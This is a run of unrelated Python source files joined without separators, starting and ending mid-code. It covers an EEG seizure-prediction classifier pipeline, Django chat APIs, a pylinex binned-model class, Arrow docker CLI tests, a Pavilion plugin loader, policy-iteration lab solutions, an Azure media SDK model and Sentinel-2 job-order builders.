LoadpreictalDataTask(self.task_core).run() interictal_data = LoadInterictalDataTask(self.task_core).run() test_data = LoadTestDataTask(self.task_core).run() X_test = test_data.X test_SPF = test_data.SamplePerFile X = np.concatenate((preictal_data.X, interictal_data.X), axis=0) y = np.concatenate((np.ones(preictal_data.y.shape), interictal_data.y), axis=0) h_num = np.concatenate((preictal_data.h_num, interictal_data.h_num)) testfold = stratified_group_kfold(X, y, h_num, 5) ps = PredefinedSplit(testfold) if self.task_core.classifier == 'GB': trainCLF = GradientBoostingClassifier(n_estimators=6000, max_depth=10,min_samples_leaf=5, min_samples_split=2, learning_rate=0.001, max_features=40, subsample=0.65) elif self.task_core.classifier == 'voting': clf1 = LogisticRegression(random_state=1) clf2 = RandomForestClassifier(random_state=1) clf3 = GaussianNB() eclf = VotingClassifier(estimators=[('lr', clf1), ('rf', clf2), ('gnb', clf3)], voting='soft') params = {'lr__C': [1.0, 100.0], 'rf__n_estimators': [20, 200],} print params trainCLF = GridSearchCV(estimator=eclf, param_grid=params, cv=ps) elif self.task_core.classifier == 'lasso': param_grid={ 'n_alphas':[200,400,600], 'max_iter':[2000,4000] } trainCLF=LassoCV(max_iter=2000, cv=ps, n_jobs=-1,n_alphas=200) elif self.task_core.classifier == 'GB_fl': trainCLF = RFECV(GradientBoostingClassifier(n_estimators=100, min_samples_leaf=5, max_depth=15, min_samples_split=2, learning_rate=0.2, max_features='sqrt', subsample=0.65, random_state=0, ),n_jobs=-1, cv=ps, scoring='roc_auc') elif self.task_core.classifier == 'NB': trainCLF = GaussianNB() if self.task_core.pipeline.transforms[0].calibrate: trainCLF = CalibratedClassifierCV(GradientBoostingClassifier(max_depth=10,min_samples_leaf=5, min_samples_split=2, n_estimators=6000, learning_rate=0.001,max_features=40, subsample=0.65), method='sigmoid', cv=ps) trainCLF.fit(X, y) predicted = trainCLF.predict_proba(X_test) SamplePerFile = test_SPF return make_predictions(self.task_core.target, predicted, SamplePerFile, len(SamplePerFile)) def load_mat_data(data_dir, target, component, labels): dir = os.path.join(data_dir, 'train_' + target) i = 0 im = labels['image'] safe = labels['safe'] clas = labels['class'] for j in range(len(im)): name = im[j] if name[0] == target and safe[j] == 1 and clas[j] == int(component): filename = '%s/%s' % (dir, name) if os.path.exists(filename): try: data = scipy.io.loadmat(filename) except: print 'data corruption, skipping' data['dataStruct'][0][0][0] = np.zeros((240000, 16)) data['dataStruct'][0][0][4][0][0] += 1 yield (data) else: yield (data) else: if i == 1: raise Exception("file %s not found" % filename) def parse_input_data(data_dir, target, data_type, pipeline): preictal = data_type == '1' interictal = data_type == '0' labels = graphlab.SFrame.read_csv('seizure-data/train_and_test_data_labels_safe.csv') mat_data = load_mat_data(data_dir, target, data_type, labels) def process_raw_data(mat_data,splitsize): start = time.get_seconds() print 'Loading data', X = [] y = [] h_num = [] cc = 0 hour_num = 0 pre_sequence_num = 0 for segment in mat_data: cc += 1 print cc for skey in segment.keys(): if "data" in skey.lower(): mykey = skey try: sequence_num = segment[mykey][0][0][4][0][0] except: sequence_num = random.randint(1, 6) print 'seq: %d' % (sequence_num) if sequence_num == pre_sequence_num + 1: hour_num = hour_num else: hour_num += 1 print "hour_num: %d" % (hour_num) pre_sequence_num = sequence_num if preictal: try: preictual_sequence = segment[mykey][0][0][4][0][0] except: preictual_sequence = 1 else: pass y_value = preictual_sequence # temporarily set to sequence number elif interictal: y_value = 0 data = segment[mykey][0][0][0] # if target == '2': # data = np.delete(data, [3, 9], 1) data_tmp = data[np.invert(np.all(data==0, axis=1))] if data_tmp.shape[0]<=2000: print 'too much zeros, skipping' continue sampleSizeinSecond = data_tmp.shape[0] / 400 data = data_tmp.transpose() axis = data_tmp.ndim - 1 # tic=time.get_seconds() print sampleSizeinSecond '''DataSampleSize: split the 10 minutes data into several clips: For one second data clip, patient1 and patient2 were finished in 3 hours. Dog1 clashed after 7+ hours for out of memory try ten second data clip ''' DataSampleSize = splitsize # data.shape[1]/(totalSample *1.0) #try to split data into equal size splitIdx = np.arange(DataSampleSize, data.shape[1], DataSampleSize) splitIdx = np.int32(np.ceil(splitIdx)) splitData = np.hsplit(data, splitIdx) SPF = 0 for s in splitData: if s.shape[1] < 5000: #is not so sparse continue else: transformed_data = pipeline.apply(s) X.append(transformed_data) y.append(y_value) h_num.append(hour_num) SPF += 1 if np.any(np.isnan(transformed_data)) or np.any(np.isinf(transformed_data)): print 'bug' print 'done' print '(%ds)' % (time.get_seconds() - start) X = np.array(X) y = np.array(y) h_num = np.array(h_num) print 'X', X.shape, 'y', y.shape return X, y, h_num splitsize= pipeline.transforms[0].splitsize data = process_raw_data(mat_data,splitsize) X, y, h_num = data if interictal: h_num += 200 return { 'X': X, 'y': y, 'h_num': h_num } def load_mat_data_test(data_dir, target): dir = os.path.join(data_dir, 'test_' + target + '_new') done = False i = 0 while not done: i += 1 nstr = '%d' % i filename = '%s/new_%s_%s.mat' % (dir, target, nstr,) if os.path.exists(filename): try: data = scipy.io.loadmat(filename) except: print 'data corruption, skipping' else: yield (data) else: if i == 1: raise Exception("file %s not found" % filename) done = True def parse_input_data_test(data_dir, target, pipeline): mat_data = load_mat_data_test(data_dir, target) def process_raw_data(mat_data,splitsize): start = time.get_seconds() print 'Loading data', # print mat_data SamplePerFile = [] X = [] y = [] cc = 0 for segment in mat_data: cc += 1 print cc for skey in segment.keys(): if "data" in skey.lower(): mykey = skey data = segment[mykey][0][0][0] if np.all(data == 0): print 'All of data zero, filling random numbers' for s in range(int(240000/splitsize)): transformed_data = np.random.randn(transformed_data_length) X.append(transformed_data) SamplePerFile.append(int(240000/splitsize)) continue data_tmp = data[np.invert(np.all(data == 0, axis=1))] sampleSizeinSecond = data_tmp.shape[0] / 400 data = data_tmp.transpose() axis = data.ndim - 1 print sampleSizeinSecond '''DataSampleSize: split the 10 minutes data into several clips: For one second data clip, patient1 and patient2 were finished in 3 hours. Dog1 clashed after 7+ hours for out of memory try ten second data clip ''' DataSampleSize = splitsize # data.shape[1] / (totalSample * 1.0) # try to split data into equal size splitIdx = np.arange(DataSampleSize, data.shape[1], DataSampleSize) splitIdx = np.int32(np.ceil(splitIdx)) splitData = np.hsplit(data, splitIdx) SPF = 0 #pre_sample_size = 0 #channel = 16 # if target == '2': # channel = 14 for s in splitData: transformed_data = pipeline.apply(s) X.append(transformed_data) SPF += 1 SamplePerFile.append(SPF) print 'done' transformed_data_length=transformed_data.shape[0] X = np.array(X) print 'X', X.shape return X, SamplePerFile splitsize=pipeline.transforms[0].splitsize data, SamplePerFile = process_raw_data(mat_data,splitsize) return { 'X': data, 'SamplePerFile': SamplePerFile } def flatten(data): if data.ndim > 2: return data.reshape((data.shape[0], np.product(data.shape[1:]))) else: return data def translate_prediction(prediction): if prediction.shape[0] == 7: interictal, p1, p2, p3, p4, p5, p6 = prediction preictal = p1 + p2 + p3 + p4 + p5 + p6 return preictal elif prediction.shape[0] == 2: interictal, p1 = prediction preictal = p1 return preictal elif prediction.shape[0] == 1: return prediction[0] else: raise NotImplementedError() def make_predictions(target, predictions, SamplePerFile, numFile): lines = [] cumSample = 0 for i in range(numFile): j = i + 1 nstr = '%d' % j preictal_segments = [] for k in range(SamplePerFile[i]): p = predictions[cumSample + k] preictal = translate_prediction(p) preictal_segments.append(preictal) cumSample += SamplePerFile[i] preictalOverAllSample = get_combine_prediction(preictal_segments) lines.append('new_%s_%s.mat,%.15f' % (target, nstr, preictalOverAllSample)) return { 'data': '\n'.join(lines) } def get_combine_prediction(preictal_segments): interictal_amean = 1.0 - np.mean(preictal_segments) interictal = 1.0 - np.array(preictal_segments) if np.any(interictal == 0): interictal_gmean = interictal_amean interictal_hmean = interictal_amean else: interictal_gmean = gmean(interictal) interictal_hmean = hmean(interictal) return 1.0 - interictal_hmean def stratified_group_kfold(y,group,K): testfold=np.zeros(y.shape[0]) zero_pool = np.asarray(np.where(y == 0)).flatten() one_pool = np.asarray(np.where(y == 1)).flatten() for kk in range(K): zero_target = zero_pool.shape[0]/(K-kk) one_target = one_pool.shape[0]/(K-kk) test_zero_pool = np.random.choice(zero_pool,size=zero_target) test_zero_index = [] test_one_pool = np.random.choice(one_pool,size=one_target) test_one_index = [] for i in test_zero_pool: if len(test_zero_index)<= zero_target: tmp = np.array(np.where(group==group[i])).ravel() for j in tmp: test_zero_index.append(j) for i in test_one_pool: if len(test_one_index)<= one_target: tmp = np.array(np.where(group==group[i])).ravel() for j in tmp: test_one_index.append(j) test_zero_index = np.unique(test_zero_index) test_one_index = np.unique(test_one_index) test_index = np.concatenate((test_one_index,test_zero_index)) zero_pool = np.setdiff1d(zero_pool, test_zero_index) one_pool = np.setdiff1d(one_pool, test_one_index) testfold[test_index]=kk return testfold # Copyright (c) 2007-2009 PediaPress GmbH # See README.rst for additional licensing information. import os try: import simplejson as json except ImportError: import json _cache = {} def _get_path(lang): return os.path.join(os.path.dirname(__file__), "siteinfo-%s.json" % lang) def get_siteinfo(lang): try: return _cache[lang] except KeyError: pass si = None p = _get_path(lang) if os.path.exists(p): si = json.load(open(p, "rb")) _cache[lang] = si return si # def get_available_languages(): # import glob # glob.glob(_get_path("*")) import json from django.http import JsonResponse from django.urls import reverse from django.contrib.auth.models import User from apps.notification.utilities import notify from .models import ChatMessage, Chat from apps.notification.utilities import notify def send_message_api(request): if request.user.is_authenticated: if request.method == "POST": data = json.loads(request.body) message = data["message"] chat = Chat.objects.get(pk=data["chat_id"]) ChatMessage.objects.create( chat=chat, created_by=request.user, message=message ) to_user = chat.users.exclude(pk=request.user.pk)[0] notify( message=f"{request.user.get_full_name()} sent you a message", notification_type='message', to_user=to_user, by_user=request.user, link=reverse('message_user', kwargs={'user_name': to_user.username}), ) return JsonResponse({"status": "success", "message": message}) return JsonResponse({"status": "error"}) else: return JsonResponse({"status": "error"}) def get_message_api(request): """ A simple API to get the messages between the user. """ if request.user.is_authenticated: if request.method == "GET": to_user = User.objects.get(username=request.GET["to_user"]) chat = Chat.objects.filter(users__in=[request.user]) chat = chat.filter(users__in=[to_user]) chat_messages = ChatMessage.objects.filter(chat=chat[0]) messages = [] messages = list(chat_messages.values("id", "message", "created_by__username", "created_at", "created_by__first_name", "created_by__last_name")) # if len(messages) < 30: # messages = messages # else: # messages = messages[len(messages)-30:] context = { "status": "success", "chat": list(chat.values("id", "users", "modified_at")), "to_user": to_user.username, "messages": messages } return JsonResponse(context) return JsonResponse({"status": "error"}) else: return JsonResponse({"status": "error"}) """ File: pylinex/model/BinnedModel.py Author: Date: 21 Sep 2018 Description: File containing a class representing a model which is a binned form of another model. """ import numpy as np from ..util import sequence_types, RectangularBinner from .Model import Model class BinnedModel(Model): """ Class representing a model which is a binned form of another model. """ def __init__(self, model, binner, weights=None): """ Initializes a TransformedModel based around the given underlying model and the binner which will Bin it. model: a Model object binner: a RectangularBinner object weights: weights to use in binning. Default: None """ self.model = model self.binner = binner self.weights = weights @property def num_channels(self): """ Property storing the number of channels in the output of this model. """ if not hasattr(self, '_num_channels'): self._num_channels = self.binner.nbins_to_keep return self._num_channels @property def weights(self): """ Property storing the weights to be used in binned. This is None by default but can be set to match data weights. """ if not hasattr(self, '_weights'): raise AttributeError("weights was referenced before it was set.") return self._weights @weights.setter def weights(self, value): """ Setter for the weights to used in binning. value: either None or a 1D array of same length as unbinned_x_values given to the RectangularBinner underlying this model """ if type(value) is type(None): self._weights = value elif type(value) in sequence_types: value = np.array(value) if value.shape == self.binner.unbinned_x_values.shape: self._weights = value else: raise ValueError("weights was not of same shape as " +\ "unbinned_x_values of underlying RectangularBinner.") else: raise TypeError("weights was set to a non-array.") @property def x_values(self): """ Property storing the x values (after binning) of this model. """ return self.binner.binned_x_values @property def model(self): """ Property storing the inner model (as a Model object) which is being transformed. """ if not hasattr(self, '_model'): raise AttributeError("model referenced before it was set.") return self._model @model.setter def model(self, value): """ Setter for the inner model which is being transformed. value: a Model object """ if isinstance(value, Model): self._model = value else: raise TypeError("model was set to a non-Model object.") @property def binner(self): """ Property storing the Binner object which will bin the model. """ if not hasattr(self, '_binner'): raise AttributeError("binner referenced before it was set.") return self._binner @binner.setter def binner(self, value): """ Setter for the Binner object which will bin the model. value: a RectangularBinner object """ if isinstance(value, RectangularBinner): self._binner = value else: raise TypeError("binner was set to something other than a " +\ "RectangularBinner object.") @property def parameters(self): """ Property storing a list of strings associated with the parameters necessitated by this model. """ return self.model.parameters def __call__(self, parameters): """ Evaluates the model at the given parameters. parameters: 1D numpy.ndarray of parameter values returns: array of size (num_channels,) """ return self.binner(self.model(parameters), weights=self.weights) @property def gradient_computable(self): """ Property storing a boolean describing whether the gradient of this model is computable. """ return self.model.gradient_computable def gradient(self, parameters): """ Evaluates the gradient of the model at the given parameters. parameters: 1D numpy.ndarray of parameter values returns: array of shape (num_channels, num_parameters) """ transposed_gradient = self.model.gradient(parameters).T if type(self.weights) is type(None): return self.binner(transposed_gradient).T else: return self.binner(transposed_gradient,\ weights=self.weights[np.newaxis,:]*\ np.ones_like(transposed_gradient)).T @property def hessian_computable(self): """ Property storing a boolean describing whether the hessian of this model is computable. """ return self.model.hessian_computable def hessian(self, parameters): """ Evaluates the hessian of this model at the given parameters. parameters: 1D numpy.ndarray of parameter values returns: array of shape (num_channels, num_parameters, num_parameters) """ transposed_hessian = self.model.hessian(parameters).T if type(self.weights) is type(None): return self.binner(transposed_hessian).T else: return self.binner(transposed_hessian,\ weights=self.weights[np.newaxis,np.newaxis,:]*\ np.ones_like(transposed_hessian)).T def fill_hdf5_group(self, group): """ Fills the given hdf5 file group with information about this model. group: hdf5 file group to fill with information about this model """ group.attrs['class'] = 'BinnedModel' self.model.fill_hdf5_group(group.create_group('model')) self.binner.fill_hdf5_group(group.create_group('binner')) def __eq__(self, other): """ Checks for equality with other. other: object to check for equality returns: True if other is equal to this model, False otherwise """ if isinstance(other, BinnedModel): return (self.model == other.model) and\ (self.binner == other.binner) else: return False def quick_fit(self, data, error): """ Performs a quick fit to the given data. data: curve to fit with the model error: noise level in the data returns: (parameter_mean, parameter_covariance) """ raise NotImplementedError("quick_fit not implemented for " +\ "BinnedModel objects.") @property def bounds(self): """ Property storing the natural bounds of the parameters of this model. Since this is just a rebranding of the underlying model, the bounds are passed through with no changes. """ return self.model.bounds # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from unittest.mock import patch import pytest from click.testing import CliRunner from archery.cli import archery from archery.docker import DockerCompose @pytest.mark.parametrize(('command', 'args', 'kwargs'), [ ( ['ubuntu-cpp', '--build-only'], ['ubuntu-cpp'], dict( command=None, env={}, force_pull=True, force_build=True, build_only=True, use_cache=True, use_leaf_cache=True, volumes=() ) ), ( ['ubuntu-cpp', 'bash'], ['ubuntu-cpp'], dict( command='bash', env={}, force_pull=True, force_build=True, build_only=False, use_cache=True, use_leaf_cache=True, volumes=() ) ), ( ['ubuntu-cpp', '--no-pull', '--no-build'], ['ubuntu-cpp'], dict( command=None, env={}, force_pull=False, force_build=False, build_only=False, use_cache=True, use_leaf_cache=True, volumes=() ) ), ( [ 'ubuntu-cpp', '--no-pull', '--force-build', '--no-cache', '--no-leaf-cache' ], ['ubuntu-cpp'], dict( command=None, env={}, force_pull=False, force_build=True, build_only=False, use_cache=False, use_leaf_cache=False, volumes=() ) ), ( ['-e', 'ARROW_GANDIVA=OFF', '-e', 'ARROW_FLIGHT=ON', 'ubuntu-cpp'], ['ubuntu-cpp'], dict( command=None, env={ 'ARROW_GANDIVA': 'OFF', 'ARROW_FLIGHT': 'ON' }, force_pull=True, force_build=True, build_only=False, use_cache=True, use_leaf_cache=True, volumes=() ) ), ( [ '--volume', './build:/build', '-v', './ccache:/ccache:delegated', 'ubuntu-cpp' ], ['ubuntu-cpp'], dict( command=None, env={}, force_pull=True, force_build=True, build_only=False, use_cache=True, use_leaf_cache=True, volumes=( './build:/build', './ccache:/ccache:delegated', ) ) ) ]) def test_docker_run(command, args, kwargs): runner = CliRunner() with patch.object(DockerCompose, 'run') as run: result = runner.invoke(archery, ['docker', 'run'] + command) assert result.exit_code == 0 run.assert_called_once_with(*args, **kwargs) from yapsy import PluginManager from pavilion.module_wrapper import ModuleWrapper from pavilion.commands import Command from pavilion.system_variables import SystemPlugin as System from pavilion.schedulers import SchedulerPlugin from pavilion.result_parsers import ResultParser import os import logging LOGGER = logging.getLogger('plugins') _PLUGIN_MANAGER = None PLUGIN_CATEGORIES = { 'module': ModuleWrapper, 'command': Command, 'sys': System, 'sched': SchedulerPlugin, 'result': ResultParser, # result plugins } class PluginError(RuntimeError): pass def initialize_plugins(pav_cfg): """Initialize the plugin system, and activate plugins in all known plugin directories (except those specifically disabled in the config. Should only ever be run once pavilion command. :param pav_cfg: The pavilion configuration :return: Nothing :raises PluginError: When there's an issue with a plugin or the plugin system in general. :raises RuntimeError: When you try to run this twice. """ global _PLUGIN_MANAGER if _PLUGIN_MANAGER is not None: LOGGER.warning("Tried to initialize plugins multiple times.") return plugin_dirs = [os.path.join(cfg_dir, 'plugins') for cfg_dir in pav_cfg.config_dirs] try: pman = PluginManager.PluginManager(directories_list=plugin_dirs, categories_filter=PLUGIN_CATEGORIES) pman.locatePlugins() pman.collectPlugins() except Exception as err: raise PluginError("Error initializing plugin system: {}".format(err)) for plugin in pman.getAllPlugins(): plugin_dot_name = '{p.category}.{p.name}'.format(p=plugin) if plugin_dot_name in pav_cfg.disable_plugins: # Don't initialize these plugins. continue try: pman.activatePluginByName(plugin.name, plugin.category) except Exception as err: raise PluginError("Error activating plugin {name}: {err}" .format(name=plugin.name, err=err)) _PLUGIN_MANAGER = pman def list_plugins(): """Get the list of plugins by category. These will be IPlugin objects. :return: A dict of plugin categories, each with a dict of plugins by name. :raises RuntimeError: If you don't initialize the plugin system first """ if _PLUGIN_MANAGER is None: raise RuntimeError("Plugin system has not been initialized.") plugins = {} for category in _PLUGIN_MANAGER.getCategories(): plugins[category] = {} for plugin in _PLUGIN_MANAGER.getPluginsOfCategory(category): plugins[category][plugin.name] = plugin return plugins def _reset_plugins(): LOGGER.warning("Resetting the plugins. This functionality exists only for " "use by unittests.") import inspect global _PLUGIN_MANAGER _PLUGIN_MANAGER = None for cat, cat_obj in PLUGIN_CATEGORIES.items(): module = inspect.getmodule(cat_obj) if hasattr(module, '__reset'): module.__reset() Labs/PolicyFunctionIteration/policy_solutions.py #Solutions to Policy Function Iteration Lab import numpy as np import scipy as sp from scipy import sparse from scipy.sparse import linalg import math from matplotlib import pyplot as plt from scipy import linalg as la def u(x): return np.sqrt(x).flatten() def policyIter(beta, N, Wmax=1.): """ Solve the infinite horizon cake eating problem using policy function iteration. Inputs: beta -- float, the discount factor N -- integer, size of discrete approximation of cake Wmax -- total amount of cake available Returns: values -- converged value function (Numpy array of length N) psi -- converged policy function (Numpy array of length N) """ W = np.linspace(0,Wmax,N) #state space vector I = sparse.identity(N, format='csr') #precompute u(W-W') for all possible inputs actions = np.tile(W, N).reshape((N,N)).T actions = actions - actions.T actions[actions<0] = 0 rewards = np.sqrt(actions) rewards[np.triu_indices(N, k=1)] = -1e10 #pre-computed reward function psi_ind = np.arange(N) rows = np.arange(0,N) tol = 1. while tol >= 1e-9: columns = psi_ind data = np.ones(N) Q = sparse.coo_matrix((data,(rows,columns)),shape=(N,N)) Q = Q.tocsr() values = linalg.spsolve(I-beta*Q, u(W-W[psi_ind])).reshape(1,N) psi_ind1 = np.argmax(rewards + beta*values, axis=1) tol = math.sqrt(((W[psi_ind] - W[psi_ind1])**2).sum()) psi_ind = psi_ind1 return values.flatten(), W[psi_ind] def modPolicyIter(beta, N, Wmax=1., m=15): """ Solve the infinite horizon cake eating problem using modified policy function iteration. Inputs: beta -- float, the discount factor N -- integer, size of discrete approximation of cake Wmax -- total amount of cake available Returns: values -- converged value function (Numpy array of length N) psi -- converged policy function (Numpy array of length N) """ W = np.linspace(0,Wmax,N) #state space vector #precompute u(W-W') for all possible inputs actions = np.tile(W, N).reshape((N,N)).T actions = actions - actions.T actions[actions<0] = 0 rewards = np.sqrt(actions) rewards[np.triu_indices(N, k=1)] = -1e10 #pre-computed reward function psi_ind = np.arange(N) values = np.zeros(N) tol = 1. while tol >= 1e-9: for i in xrange(m): values = u(W - W[psi_ind]) + beta*values[psi_ind] psi_ind1 = np.argmax(rewards + beta*values.reshape(1,N), axis=1) tol = math.sqrt(((W[psi_ind] - W[psi_ind1])**2).sum()) psi_ind = psi_ind1 return values.flatten(), W[psi_ind] Christina-Kang/azure-sdk-for-pythonazure-mgmt-media/azure/mgmt/media/models/standard_encoder_preset_py3.py # coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from .preset import Preset class StandardEncoderPreset(Preset): """Describes all the settings to be used when encoding the input video with the Standard Encoder. All required parameters must be populated in order to send to Azure. :param odatatype: Required. Constant filled by server. :type odatatype: str :param filters: One or more filtering operations that are applied to the input media before encoding. :type filters: ~azure.mgmt.media.models.Filters :param codecs: The list of codecs to be used when encoding the input video. :type codecs: list[~azure.mgmt.media.models.Codec] :param formats: The list of outputs to be produced by the encoder. :type formats: list[~azure.mgmt.media.models.Format] """ _validation = { 'odatatype': {'required': True}, } _attribute_map = { 'odatatype': {'key': '@odata\\.type', 'type': 'str'}, 'filters': {'key': 'filters', 'type': 'Filters'}, 'codecs': {'key': 'codecs', 'type': '[Codec]'}, 'formats': {'key': 'formats', 'type': '[Format]'}, } def __init__(self, *, filters=None, codecs=None, formats=None, **kwargs) -> None: super(StandardEncoderPreset, self).__init__(**kwargs) self.filters = filters self.codecs = codecs self.formats = formats self.odatatype = '#Microsoft.Media.StandardEncoderPreset' # # This file contains the Python code from Program 6.2 of # "Data Structures and Algorithms # with Object-Oriented Design Patterns in Python" # by . # # Copyright (c) 2003 by , P.Eng. All rights reserved. # # http://www.brpreiss.com/books/opus7/programs/pgm06_02.txt # class StackAsArray(Stack): def __init__(self, size = 0): super(StackAsArray, self).__init__() self._array = Array(size) def purge(self): while self._count > 0: self._array[self._count] = None self._count -= 1 #... 1-10 # coding=utf-8 import argparse import shutil import subprocess import JobOrderReader import JobOrderReaderNew import DatastripReader import InventoryReader import InventoryL2A import system_utils import FileUtils import os, StringIO, datetime import IdpInfos def get_utc_from_datetime(datet): return datetime.datetime.strftime(datet, "UTC=%Y-%m-%dT%H:%M:%S.%f") # xml dump in string def joborder_dom_to_string(dom_object): output = StringIO.StringIO() output.write('\n') dom_object.export( output, 0, name_='Ipf_Job_Order', namespacedef_='', pretty_print=True) return output def inventory_dom_to_string(dom_object): output = StringIO.StringIO() output.write('\n') dom_object.export( output, 0, name_='Inventory_Metadata', namespacedef_='', pretty_print=True) return output def modify_Inventory(inventory_input, inventory_output, PDI_ID, file_type, process_station, parent_id=None): inventory_in = InventoryReader.parse(inventory_input, True) inventory_in.set_Processing_Station(process_station) inventory_in.set_File_ID(PDI_ID) inventory_in.set_File_Name(PDI_ID) inventory_in.set_Source("L2A_Processor") inventory_in.set_File_Type(file_type) if parent_id: inventory_in.set_Parent_ID(parent_id) # process time inventory_in.set_Generation_Time(get_utc_from_datetime(datetime.datetime.now())) # write content = inventory_dom_to_string(inventory_in).getvalue() content = content.replace(" ", " ") with open(inventory_output, "w") as fh: fh.write(content) print("Inventory writed in " + inventory_output) # Create a jobOrder def create_JobOrder_OLQC(gip_probas, gip_olqcpa, persistent, products, working, report): print("Creating JobOrder for OLQC...") parameters = [] parameters.append(JobOrderReader.Processing_Parameter("VALIDATE_SCHEMA", "false")) parameters.append(JobOrderReader.Processing_Parameter("TRACE", "false")) da_conf = JobOrderReader.Ipf_ConfType() da_Config_Files = JobOrderReader.Config_FilesType() da_conf.set_Config_Files(da_Config_Files) da_conf.set_Processor_Name("Chain") da_conf.set_Version("02.08.00") da_conf.set_Test(False) da_conf.set_Acquisition_Station("MSI") da_conf.set_Processing_Station("MSI") da_conf.set_Dynamic_Processing_Parameters(JobOrderReader.Dynamic_Processing_ParametersType(parameters)) # Build inputs da_inputs = JobOrderReader.List_of_InputsType() # add products nt = JobOrderReader.List_of_File_NamesType() for p in products: nt.add_File_Name(p) nt.set_count(len(products)) product_input = JobOrderReader.InputType("PDI_SAFE", "Directory", nt) da_inputs.add_Input(product_input) # add gip olqcpa nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(gip_olqcpa) nt.set_count(1) olqcpa_input = JobOrderReader.InputType("GIP_OLQCPA", "Physical", nt) da_inputs.add_Input(olqcpa_input) # add gip probas nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(gip_probas) nt.set_count(1) probas_input = JobOrderReader.InputType("GIP_PROBAS", "Physical", nt) da_inputs.add_Input(probas_input) # add persistent folder nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(persistent) nt.set_count(1) persistent_input = JobOrderReader.InputType("PERSISTENT_RESOURCES", "Directory", nt) da_inputs.add_Input(persistent_input) # add WORKING, Directory nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(working) nt.set_count(1) if not os.path.exists(working): print("[Output] WORKING_DIR must be created in %s" % working) os.mkdir(working) working_input = JobOrderReader.InputType("WORKING", "Directory", nt) da_inputs.add_Input(working_input) # Build outputs da_outputs = JobOrderReader.List_of_OutputsType() # add REPORT working_output = JobOrderReader.OutputType(True, "REPORT", "Physical", report) da_outputs.add_Output(working_output) procs = JobOrderReader.List_of_Ipf_ProcsType() proc = JobOrderReader.Ipf_Proc() proc.set_Task_Name("OLQC") proc.set_Task_Version("01.00.00") proc.set_List_of_Inputs(da_inputs) proc.set_List_of_Outputs(da_outputs) procs.add_Ipf_Proc(proc) procs.count = 1 joborder = JobOrderReader.Ipf_Job_OrderType(da_conf, procs) content = joborder_dom_to_string(joborder).getvalue() content = content.replace(" ", " ") # content = content.replace(' xmlns:ipf_base="http://gs2.esa.int/DICO/1.0/IPF/base/" ', '') return content # Create a jobOrder def create_JobOrder_FORMAT_METADATA_TL_L2A(arch_center, proc_baseline, proc_center, tile_list_file, gip_jp2, gip_olqcpa, product, acquisition_station, sensing_time_start, sensing_time_stop, working, report, output): print("Creating JobOrder for FORMAT_METADATA_TL_L2A...") parameters = [] parameters.append(JobOrderReader.Processing_Parameter("ARCHIVING_CENTER", arch_center)) parameters.append(JobOrderReader.Processing_Parameter("PROCESSING_BASELINE", proc_baseline)) parameters.append(JobOrderReader.Processing_Parameter("PROCESSING_CENTER", proc_center)) parameters.append(JobOrderReader.Processing_Parameter("FAKE_MODE", "false")) parameters.append(JobOrderReader.Processing_Parameter("VALIDATE_SCHEMA", "false")) parameters.append(JobOrderReader.Processing_Parameter("PARALLEL_TILE", "false")) parameters.append(JobOrderReader.Processing_Parameter("PARALLEL_TILE_IDENT", "001")) parameters.append(JobOrderReader.Processing_Parameter("TRACE", "false")) da_conf = JobOrderReader.Ipf_ConfType() da_Config_Files = JobOrderReader.Config_FilesType() da_conf.set_Config_Files(da_Config_Files) da_conf.set_Processor_Name("Chain") da_conf.set_Version("02.08.00") da_conf.set_Test(False) da_conf.set_Acquisition_Station(acquisition_station) da_conf.set_Processing_Station(proc_center) da_conf.set_Sensing_Time(JobOrderReader.Sensing_TimeType(sensing_time_start, sensing_time_stop)) da_conf.set_Dynamic_Processing_Parameters(JobOrderReader.Dynamic_Processing_ParametersType(parameters)) # Build inputs da_inputs = JobOrderReader.List_of_InputsType() # add products nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(product) nt.set_count(1) product_input = JobOrderReader.InputType("PDI_DS_TILE_LIST", "Directory", nt) da_inputs.add_Input(product_input) # add products nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(tile_list_file) nt.set_count(1) tile_list_file_input = JobOrderReader.InputType("TILE_LIST_FILE", "Physical", nt) da_inputs.add_Input(tile_list_file_input) # add gip olqcpa nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(gip_olqcpa) nt.set_count(1) olqcpa_input = JobOrderReader.InputType("GIP_OLQCPA", "Physical", nt) da_inputs.add_Input(olqcpa_input) # add gip JP2KPA nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(gip_jp2) nt.set_count(1) probas_input = JobOrderReader.InputType("GIP_JP2KPA", "Physical", nt) da_inputs.add_Input(probas_input) da_inputs.set_count(4) # add WORKING, Directory nt = JobOrderReader.List_of_File_NamesType() nt.add_File_Name(working) nt.set_count(1) if not os.path.exists(working): print("[Output] WORKING_DIR must be created in %s" % working) os.mkdir(working) working_input = JobOrderReader.InputType("WORKING", "Directory", nt) da_inputs.add_Input(working_input) # Build outputs da_outputs = JobOrderReader.List_of_OutputsType() # add outputDir working_output = JobOrderReader.OutputType(True, "PDI_DS_TILE_LIST", "Directory", output) da_outputs.add_Output(working_output) # add REPORT working_output = JobOrderReader.OutputType(True, "REPORT", "Physical", report) da_outputs.add_Output(working_output) da_outputs.set_count(2) procs = JobOrderReader.List_of_Ipf_ProcsType() proc = JobOrderReader.Ipf_Proc() proc.set_Task_Name("FORMAT_METADATA_TILE_L2A") proc.set_Task_Version("04.04.01") proc.set_List_of_Inputs(da_inputs) proc.set_List_of_Outputs(da_outputs) procs.add_Ipf_Proc(proc) procs.count = 1 joborder = 